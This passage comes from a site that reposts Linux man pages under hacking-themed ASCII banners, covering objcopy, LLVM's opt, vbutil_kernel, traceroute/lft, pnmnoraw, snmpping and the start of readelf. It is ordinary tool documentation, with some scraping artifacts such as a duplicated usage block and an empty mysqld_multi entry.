–no-merge-notes

For ELF files, attempt (or do not attempt) to reduce the size of any SHT_NOTE type sections by removing duplicate notes.

-V

–version

Show the version number of objcopy.

–verilog-data-width=bytes
For Verilog output, this options controls the number of bytes converted for each output data element. The input target controls the endianness of the conversion.

-v

–verbose

Verbose output: list all object files modified. In the case of archives, objcopy -V lists all members of the archive.

–help
Show a summary of the options to objcopy.

–info
Display a list showing all architectures and object formats available.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

ld (1), objdump (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1264 - Linux cli command opt-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command opt-16 and provides detailed information about the command opt-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the opt-16.

NAME 🖥️ opt-16 🖥️

LLVM optimizer

SYNOPSIS

opt [options] [filename]

DESCRIPTION

The opt command is the modular LLVM optimizer and analyzer. It takes LLVM source files as input, runs the specified optimizations or analyses on it, and then outputs the optimized file. The optimizations available via opt depend upon what libraries were linked into it as well as any additional libraries that have been loaded with the -load option. Use the -help option to determine what optimizations you can use.

If filename is omitted from the command line or is “-”, opt reads its input from standard input. Inputs can be in either the LLVM assembly language format (.ll) or the LLVM bitcode format (.bc).

If an output filename is not specified with the -o option, opt writes its output to the standard output.

OPTIONS

-f
Enable binary output on terminals. Normally, opt will refuse to write raw bitcode output if the output stream is a terminal. With this option, opt will write raw bitcode regardless of the output device.

-help
Print a summary of command line options.

-o <filename>
Specify the output filename.

-S
Write output in LLVM intermediate language (instead of bitcode).

-{passname}
opt provides the ability to run any of LLVM’s optimization or analysis passes in any order. The -help option lists all the passes available. The order in which the options occur on the command line are the order in which they are executed (within pass constraints).

-strip-debug
This option causes opt to strip debug information from the module before applying other optimizations. It is essentially the same as -strip but it ensures that stripping of debug information is done first.

-verify-each
This option causes opt to add a verify pass after every pass otherwise specified on the command line (including -verify). This is useful for cases where it is suspected that a pass is creating an invalid module but it is not clear which pass is doing it.

-stats
Print statistics.

-time-passes
Record the amount of time needed for each pass and print it to standard error.

-debug
If this is a debug build, this option will enable debug printouts from passes which use the LLVM_DEBUG() macro. See the LLVM Programmer’s Manual, section #DEBUG for more information.

-load=<plugin>
Load the dynamic object plugin. This object should register new optimization or analysis passes. Once loaded, the object will add new command line options to enable various optimizations or analyses. To see the new complete list of optimizations, use the -help and -load options together. For example:

opt -load=plugin.so -help

-print-passes
Print all available passes and exit.

EXIT STATUS

If opt succeeds, it will exit with 0. Otherwise, if an error occurs, it will exit with a non-zero value.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1265 - Linux cli command vbutil_kernel

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command vbutil_kernel and provides detailed information about the command vbutil_kernel, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the vbutil_kernel.

NAME 🖥️ vbutil_kernel 🖥️

Utility to sign custom kernels to boot with Chrome OS devices

SYNOPSIS

futility /usr/bin/vbutil_kernel –pack <file> [PARAMETERS]

DESCRIPTION

Required parameters:

–keyblock <file>
Key block in .keyblock format

–signprivate <file>
Private key to sign kernel data, in .vbprivk format

–version <number>
Kernel version

–vmlinuz <file>
Linux kernel bzImage file

–bootloader <file>
Bootloader stub

–config <file>
Command line file

–arch <arch>
Cpu architecture (default x86)

Optional:

–kloadaddr <address>
Assign kernel body load address

–pad <number>
Verification padding size in bytes

–vblockonly
Emit just the verification blob

–flags NUM
Flags to be passed in the header

OR

Usage: futility /usr/bin/vbutil_kernel –repack <file> [PARAMETERS]

Required parameters:

–signprivate <file>
Private key to sign kernel data, in .vbprivk format

–oldblob <file>
Previously packed kernel blob (including verification blob)

Optional:

–keyblock <file>
Key block in .keyblock format

–config <file>
New command line file

–version <number>
Kernel version

–kloadaddr <address>
Assign kernel body load address

–pad <number>
Verification blob size in bytes

–vblockonly
Emit just the verification blob

OR

Usage: futility /usr/bin/vbutil_kernel –verify <file> [PARAMETERS]

Optional:

–signpubkey <file>
Public key to verify kernel keyblock, in .vbpubk format

–verbose
Print a more detailed report

–keyblock <file>
Outputs the verified key block, in .keyblock format

–pad <number>
Verification padding size in bytes

–minversion <number>
Minimum combined kernel key version

OR

Usage: futility /usr/bin/vbutil_kernel –get-vmlinuz <file> [PARAMETERS]

Required parameters:

–vmlinuz-out <file>
vmlinuz image output file

Usage: futility /usr/bin/vbutil_kernel –pack <file> [PARAMETERS]

Required parameters:

–keyblock <file>
Key block in .keyblock format

–signprivate <file>
Private key to sign kernel data, in .vbprivk format

–version <number>
Kernel version

–vmlinuz <file>
Linux kernel bzImage file

–bootloader <file>
Bootloader stub

–config <file>
Command line file

–arch <arch>
Cpu architecture (default x86)

Optional:

–kloadaddr <address>
Assign kernel body load address

–pad <number>
Verification padding size in bytes

–vblockonly
Emit just the verification blob

–flags NUM
Flags to be passed in the header

OR

Usage: futility /usr/bin/vbutil_kernel –repack <file> [PARAMETERS]

Required parameters:

–signprivate <file>
Private key to sign kernel data, in .vbprivk format

–oldblob <file>
Previously packed kernel blob (including verification blob)

Optional:

–keyblock <file>
Key block in .keyblock format

–config <file>
New command line file

–version <number>
Kernel version

–kloadaddr <address>
Assign kernel body load address

–pad <number>
Verification blob size in bytes

–vblockonly
Emit just the verification blob

OR

Usage: futility /usr/bin/vbutil_kernel –verify <file> [PARAMETERS]

Optional:

–signpubkey <file>
Public key to verify kernel keyblock, in .vbpubk format

–verbose
Print a more detailed report

–keyblock <file>
Outputs the verified key block, in .keyblock format

–pad <number>
Verification padding size in bytes

–minversion <number>
Minimum combined kernel key version

OR

Usage: futility /usr/bin/vbutil_kernel –get-vmlinuz <file> [PARAMETERS]

Required parameters:

–vmlinuz-out <file>
vmlinuz image output file

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1266 - Linux cli command lft

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lft and provides detailed information about the command lft, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lft.

NAME 🖥️ lft 🖥️

print the route packets trace to network host

SYNOPSIS

traceroute [-46dFITUnreAV] [-f first_ttl] [-g gate,…]

[-i device] [-m max_ttl] [-p port] [-s src_addr]

[-q nqueries] [-N squeries] [-t tos]

[-l flow_label] [-w waittimes] [-z sendwait] [-UL] [-D]

[-P proto] [–sport=port] [-M method] [-O mod_options]

[–mtu] [–back]

host [packet_len]
traceroute6 [options]
tcptraceroute [options]
lft [options]

DESCRIPTION

traceroute tracks the route packets taken from an IP network on their way to a given host. It utilizes the IP protocol’s time to live (TTL) field and attempts to elicit an ICMP TIME_EXCEEDED response from each gateway along the path to the host.

traceroute6 is equivalent to traceroute -6

tcptraceroute is equivalent to traceroute -T

lft , the Layer Four Traceroute, performs a TCP traceroute, like traceroute -T , but attempts to provide compatibility with the original such implementation, also called “lft”.

The only required parameter is the name or IP address of the destination host . The optional packet_len`gth is the total size of the probing packet (default 60 bytes for IPv4 and 80 for IPv6). The specified size can be ignored in some situations or increased up to a minimal value.

This program attempts to trace the route an IP packet would follow to some internet host by launching probe packets with a small ttl (time to live) then listening for an ICMP “time exceeded” reply from a gateway. We start our probes with a ttl of one and increase by one until we get an ICMP “port unreachable” (or TCP reset), which means we got to the “host”, or hit a max (which defaults to 30 hops). Three probes (by default) are sent at each ttl setting and a line is printed showing the ttl, address of the gateway and round trip time of each probe. The address can be followed by additional information when requested. If the probe answers come from different gateways, the address of each responding system will be printed. If there is no response within a certain timeout, an “*” (asterisk) is printed for that probe.

After the trip time, some additional annotation can be printed: !H, !N, or !P (host, network or protocol unreachable), !S (source route failed), !F (fragmentation needed), !X (communication administratively prohibited), !V (host precedence violation), !C (precedence cutoff in effect), or !<num> (ICMP unreachable code <num>). If almost all the probes result in some kind of unreachable, traceroute will give up and exit.

We don’t want the destination host to process the UDP probe packets, so the destination port is set to an unlikely value (you can change it with the -p flag). There is no such a problem for ICMP or TCP tracerouting (for TCP we use half-open technique, which prevents our probes to be seen by applications on the destination host).

In the modern network environment the traditional traceroute methods can not be always applicable, because of widespread use of firewalls. Such firewalls filter the “unlikely” UDP ports, or even ICMP echoes. To solve this, some additional tracerouting methods are implemented (including tcp), see LIST OF AVAILABLE METHODS below. Such methods try to use particular protocol and source/destination port, in order to bypass firewalls (to be seen by firewalls just as a start of allowed type of a network session).

OPTIONS

–help
Print help info and exit.

-4, -6
Explicitly force IPv4 or IPv6 tracerouting. By default, the program will try to resolve the name given, and choose the appropriate protocol automatically. If resolving a host name returns both IPv4 and IPv6 addresses, traceroute will use IPv4.

-I, –icmp
Use ICMP ECHO for probes

-T, –tcp
Use TCP SYN for probes

-d, –debug
Enable socket level debugging (when the Linux kernel supports it)

-F, –dont-fragment
Do not fragment probe packets. (For IPv4 it also sets DF bit, which tells intermediate routers not to fragment remotely as well).

Varying the size of the probing packet by the packet_len command line parameter, you can manually obtain information about the MTU of individual network hops. The –mtu option (see below) tries to do this automatically.

Note, that non-fragmented features (like -F or –mtu) work properly since the Linux kernel 2.6.22 only. Before that version, IPv6 was always fragmented, IPv4 could use the once the discovered final mtu only (from the route cache), which can be less than the actual mtu of a device.

-f* first_ttl***, –first=**first_ttl
Specifies with what TTL to start. Defaults to 1.

-g* gateway***, –gateway=gateway
Tells traceroute to add an IP source routing option to the outgoing packet that tells the network to route the packet through the specified gateway (most routers have disabled source routing for security reasons). In general, several gateway’s is allowed (comma separated). For IPv6, the form of num
,addr,**addr… is allowed, where num is a route header type (default is type 2). Note the type 0 route header is now deprecated (rfc5095).

-i* interface***, –interface=**interface
Specifies the interface through which traceroute should send packets. By default, the interface is selected according to the routing table.

-m* max_ttl***, –max-hops=**max_ttl
Specifies the maximum number of hops (max time-to-live value) traceroute will probe. The default is 30.

-N* squeries***, –sim-queries=**squeries
Specifies the number of probe packets sent out simultaneously. Sending several probes concurrently can speed up traceroute considerably. The default value is 16.
Note that some routers and hosts can use ICMP rate throttling. In such a situation specifying too large number can lead to loss of some responses.

-n
Do not try to map IP addresses to host names when displaying them.

-p* port***, –port=**port
For UDP tracing, specifies the destination port base traceroute will use (the destination port number will be incremented by each probe).
For ICMP tracing, specifies the initial ICMP sequence value (incremented by each probe too).
For TCP and others specifies just the (constant) destination port to connect. When using the tcptraceroute wrapper, -p specifies the source port.

-t* tos***, –tos=**tos
For IPv4, set the Type of Service (TOS) and Precedence value. Useful values are 16 (low delay) and 8 (high throughput). Note that in order to use some TOS precedence values, you have to be super user.
For IPv6, set the Traffic Control value.

-l* flow_label***, –flowlabel=**flow_label
Use specified flow_label for IPv6 packets.

-w* max[*,here,near], –wait=*max[,here,*near]
Determines how long to wait for a response to a probe.

There are three (in general) float values separated by a comma (or a slash). Max specifies the maximum time (in seconds, default 5.0) to wait, in any case.

Traditional traceroute implementation always waited whole max seconds for any probe. But if we already have some replies from the same hop, or even from some next hop, we can use the round trip time of such a reply as a hint to determine the actual reasonable amount of time to wait.

The optional here (default 3.0) specifies a factor to multiply the round trip time of an already received response from the same hop. The resulting value is used as a timeout for the probe, instead of (but no more than) max. The optional near (default 10.0) specifies a similar factor for a response from some next hop. (The time of the first found result is used in both cases).

First, we look for the same hop (of the probe which will be printed first from now). If nothing found, then look for some next hop. If nothing found, use max. If here and/or near have zero values, the corresponding computation is skipped.
Here and near are always set to zero if only max is specified (for compatibility with previous versions).

-q* nqueries***, –queries=**nqueries
Sets the number of probe packets per hop. The default is 3.

-r
Bypass the normal routing tables and send directly to a host on an attached network. If the host is not on a directly-attached network, an error is returned. This option can be used to ping a local host through an interface that has no route through it.

-s* source_addr***, –source=**source_addr
Chooses an alternative source address. Note that you must select the address of one of the interfaces. By default, the address of the outgoing interface is used.

-z* sendwait***, –sendwait=**sendwait
Minimal time interval between probes (default 0). If the value is more than 10, then it specifies a number in milliseconds, else it is a number of seconds (float point values allowed too). Useful when some routers use rate-limit for ICMP messages.

-e, –extensions
Show ICMP extensions (rfc4884). The general form is CLASS*/TYPE:*** followed by a hexadecimal dump. The MPLS (rfc4950) is shown parsed, in a form: MPLS:L=label,E=exp_use,S=stack_bottom,T=TTL (more objects separated by / ). The Interface Information (rfc5837) is shown parsed as well, in a following form: {INC|SUB|OUT|NXT}:index,IP_addr,"name",mtu=MTU (all four fields may be missing).

-A, –as-path-lookups
Perform AS path lookups in routing registries and print results directly after the corresponding addresses.

-V, –version
Print the version and exit.

There are additional options intended for advanced usage (such as alternate trace methods etc.):

–sport=port
Chooses the source port to use. Implies -N 1 -w 5 . Normally source ports (if applicable) are chosen by the system.

–fwmark=mark
Set the firewall mark for outgoing packets (since the Linux kernel 2.6.25).

-M* method***, –module=name
Use specified method for traceroute operations. Default traditional udp method has name default, icmp (
-I**)" and tcp (-T)" have names icmp and tcp respectively.
Method-specific options can be passed by -O . Most methods have their simple shortcuts, (-I means -M icmp, etc).

-O* option***, –options=**options
Specifies some method-specific option. Several options are separated by comma (or use several -O on cmdline). Each method may have its own specific options, or many not have them at all. To print information about available options, use -O help.

-U, –udp
Use UDP to particular destination port for tracerouting (instead of increasing the port per each probe). Default port is 53 (dns).

-UL
Use UDPLITE for tracerouting (default port is 53).

-D, –dccp
Use DCCP Requests for probes.

-P* protocol***, –protocol=**protocol
Use raw packet of specified protocol for tracerouting. Default protocol is 253 (rfc3692).

–mtu
Discover MTU along the path being traced. Implies -F -N 1. New mtu is printed once in a form of F=NUM at the first probe of a hop which requires such mtu to be reached. (Actually, the correspond “frag needed” icmp message normally is sent by the previous hop).

Note, that some routers might cache once the seen information on a fragmentation. Thus you can receive the final mtu from a closer hop. Try to specify an unusual tos by -t , this can help for one attempt (then it can be cached there as well).
See -F option for more info.

–back
Print the number of backward hops when it seems different with the forward direction. This number is guessed in assumption that remote hops send reply packets with initial ttl set to either 64, or 128 or 255 (which seems a common practice). It is printed as a negate value in a form of ‘-NUM’ .

LIST OF AVAILABLE METHODS

In general, a particular traceroute method may have to be chosen by -M name, but most of the methods have their simple cmdline switches (you can see them after the method name, if present).

default

The traditional, ancient method of tracerouting. Used by default.

Probe packets are udp datagrams with so-called “unlikely” destination ports. The “unlikely” port of the first probe is 33434, then for each next probe it is incremented by one. Since the ports are expected to be unused, the destination host normally returns “icmp unreach port” as a final response. (Nobody knows what happens when some application listens for such ports, though).

This method is allowed for unprivileged users.

icmp -I

Most usual method for now, which uses icmp echo packets for probes.
If you can ping(8) the destination host, icmp tracerouting is applicable as well.

This method may be allowed for unprivileged users since the kernel 3.0 (IPv4, for IPv6 since 3.11), which supports new dgram icmp (or “ping”) sockets. To allow such sockets, sysadmin should provide net/ipv4/ping_group_range sysctl range to match any group of the user.
Options:

raw
Use only raw sockets (the traditional way).
This way is tried first by default (for compatibility reasons), then new dgram icmp sockets as fallback.

dgram
Use only dgram icmp sockets.

tcp -T

Well-known modern method, intended to bypass firewalls.
Uses the constant destination port (default is 80, http).

If some filters are present in the network path, then most probably any “unlikely” udp ports (as for default method) or even icmp echoes (as for icmp) are filtered, and whole tracerouting will just stop at such a firewall. To bypass a network filter, we have to use only allowed protocol/port combinations. If we trace for some, say, mailserver, then more likely -T -p 25 can reach it, even when -I can not.

This method uses well-known “half-open technique”, which prevents applications on the destination host from seeing our probes at all. Normally, a tcp syn is sent. For non-listened ports we receive tcp reset, and all is done. For active listening ports we receive tcp syn+ack, but answer by tcp reset (instead of expected tcp ack), this way the remote tcp session is dropped even without the application ever taking notice.

There is a couple of options for tcp method:

syn,ack,fin,rst,psh,urg,ece,cwr
Sets specified tcp flags for probe packet, in any combination.

flags=num
Sets the flags field in the tcp header exactly to num.

ecn
Send syn packet with tcp flags ECE and CWR (for Explicit Congestion Notification, rfc3168).

sack,timestamps,window_scaling
Use the corresponding tcp header option in the outgoing probe packet.

sysctl
Use current sysctl (/proc/sys/net/*) setting for the tcp header options above and ecn. Always set by default, if nothing else specified.

fastopen
Use fastopen tcp option (when syn), for initial cookie negotiation only.

mss=[num]
Use value of num (or unchanged) for maxseg tcp header option (when syn), and discover its clamping along the path being traced. New changed mss is printed once in a form of M=NUM at the first probe on which it was detected. Note, some routers may return too short original fragment in the time exceeded message, making the check impossible. Besides that the responses may come in a different order. All this can lead to a later place of the report (using -N 1 can help for the order).

info
Print tcp flags and supported options of final tcp replies when the target host is reached. Allows to determine whether an application listens the port and other useful things. Supported tcp options are all that can be set by -T -O, ie. mss, sack, timestamps, window_scaling and fastopen, with the similar output format (a value for mss and just presence for others).

Default options is syn,sysctl.

tcpconn

An initial implementation of tcp method, simple using connect(2) call, which does full tcp session opening. Not recommended for normal use, because a destination application is always affected (and can be confused).

udp -U

Use udp datagram with constant destination port (default 53, dns).
Intended to bypass firewall as well.

Note, that unlike in tcp method, the correspond application on the destination host always receive our probes (with random data), and most can easily be confused by them. Most cases it will not respond to our packets though, so we will never see the final hop in the trace. (Fortunately, it seems that at least dns servers replies with something angry).

This method is allowed for unprivileged users.

udplite -UL

Use udplite datagram for probes (with constant destination port, default 53).

This method is allowed for unprivileged users.
Options:

coverage=num
Set udplite send coverage to num.

dccp -D

Use DCCP Request packets for probes (rfc4340).

This method uses the same “half-open technique” as used for TCP. The default destination port is 33434.

Options:

service=num
Set DCCP service code to num (default is 1885957735).

raw -P proto

Send raw packet of protocol proto.
No protocol-specific headers are used, just IP header only.
Implies -N 1 -w 5 .
Options:

protocol=proto
Use IP protocol proto (default 253).

NOTES

To speed up work, normally several probes are sent simultaneously. On the other hand, it creates a “storm of packages”, especially in the reply direction. Routers can throttle the rate of icmp responses, and some of replies can be lost. To avoid this, decrease the number of simultaneous probes, or even set it to 1 (like in initial traceroute implementation), i.e. -N 1

The final (target) host can drop some of the simultaneous probes, and might even answer only the latest ones. It can lead to extra “looks like expired” hops near the final hop. We use a smart algorithm to auto-detect such a situation, but if it cannot help in your case, just use -N 1 too.

For even greater stability you can slow down the program’s work by -z option, for example use -z 0.5 for half-second pause between probes.

To avoid an extra waiting, we use adaptive algorithm for timeouts (see -w option for more info). It can lead to premature expiry (especially when response times differ at times) and printing “*” instead of a time. In such a case, switch this algorithm off, by specifying -w with the desired timeout only (for example, -w 5).

If some hops report nothing for every method, the last chance to obtain something is to use ping -R command (IPv4, and for nearest 8 hops only).

SEE ALSO

ping(8), ping6(8), tcpdump(8), netstat(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1267 - Linux cli command mysqld_multi

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mysqld_multi and provides detailed information about the command mysqld_multi, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mysqld_multi.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1268 - Linux cli command pnmnoraw

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmnoraw and provides detailed information about the command pnmnoraw, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmnoraw.

.

NAME 🖥️ pnmnoraw 🖥️

replaced by pnmtoplainpnm and pamtopnm

DESCRIPTION

This program is part of Netpbm(1) .

pnmnoraw was replaced in Netpbm 8.2 (March 2000) by pnmtoplainpnm(1) , which was obsoleted by pnmtopnm in Netpbm 10.23 (July 2004), which in turn was obsoleted by pamtopnm.

pnmtoplainpnm was actually the same program; it was just renamed to make it clear that is just a format converter.

pamtopnm is more general, in that it can go both directions. pamtopnm -plain is the same as pnmnoraw.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmnoraw.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1269 - Linux cli command snmpping

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmpping and provides detailed information about the command snmpping, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmpping.

NAME 🖥️ snmpping 🖥️

command an agent to ping a remote host

SYNOPSIS

snmpget [COMMON OPTIONS] AGENT DESTINATION

DESCRIPTION

snmping is an SNMP application that uses the DISMAN-PING-MIB to perform remote pings from the specified AGENT to the remote DESTINATION.

The local host will send SNMPSET commands to the AGENT which, if accepted will then ping the DESTINATION.

snmpping will then poll the AGENT to obtain the ping results.

OPTIONS

-Ccpings
The AGENT will send pings pings to the DESTINATION.

-Cssize
The AGENT will send pings that are size bytes.

In addition to these options, snmpping takes the common options described in the snmpcmd(1) manual page. Note that snmpping

EXAMPLES

The command:

snmpping -c private zeus hera

will get host zeus to ping host hera. Host zeus would need to have private as a read-write community.

SEE ALSO

snmpcmd(1),variables(5).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1270 - Linux cli command x86_64-linux-gnu-readelf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-readelf and provides detailed information about the command x86_64-linux-gnu-readelf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-readelf.

NAME 🖥️ x86_64-linux-gnu-readelf 🖥️

display information about ELF files

SYNOPSIS

